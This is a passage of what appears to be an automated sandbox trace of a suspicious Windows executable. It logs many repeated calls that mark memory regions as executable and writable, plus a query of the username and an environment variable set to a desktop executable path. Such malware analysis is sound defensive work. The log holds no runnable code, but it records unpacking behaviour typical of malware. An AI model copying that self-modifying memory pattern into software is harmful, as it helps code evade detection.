BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.168] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.190] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.224] NtClose (Handle=0x350) returned 0x0 [0346.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.288] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.306] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.316] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.364] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.385] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.424] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.434] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.462] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.473] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.483] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.509] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.587] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.604] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.614] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.635] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.663] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.720] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.758] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.768] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.796] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.855] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x1eb8e818 | out: Value="FD1HVy") returned 0x0 [0346.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.931] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.957] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.016] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.085] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.112] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.133] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.197] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.208] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.256] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.284] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.294] RtlSetEnvironmentVariable (in: Environment=0x0, Name="310A-4BA", Value="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" | out: Environment=0x0) returned 0x0 [0347.299] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.309] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.320] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.337] 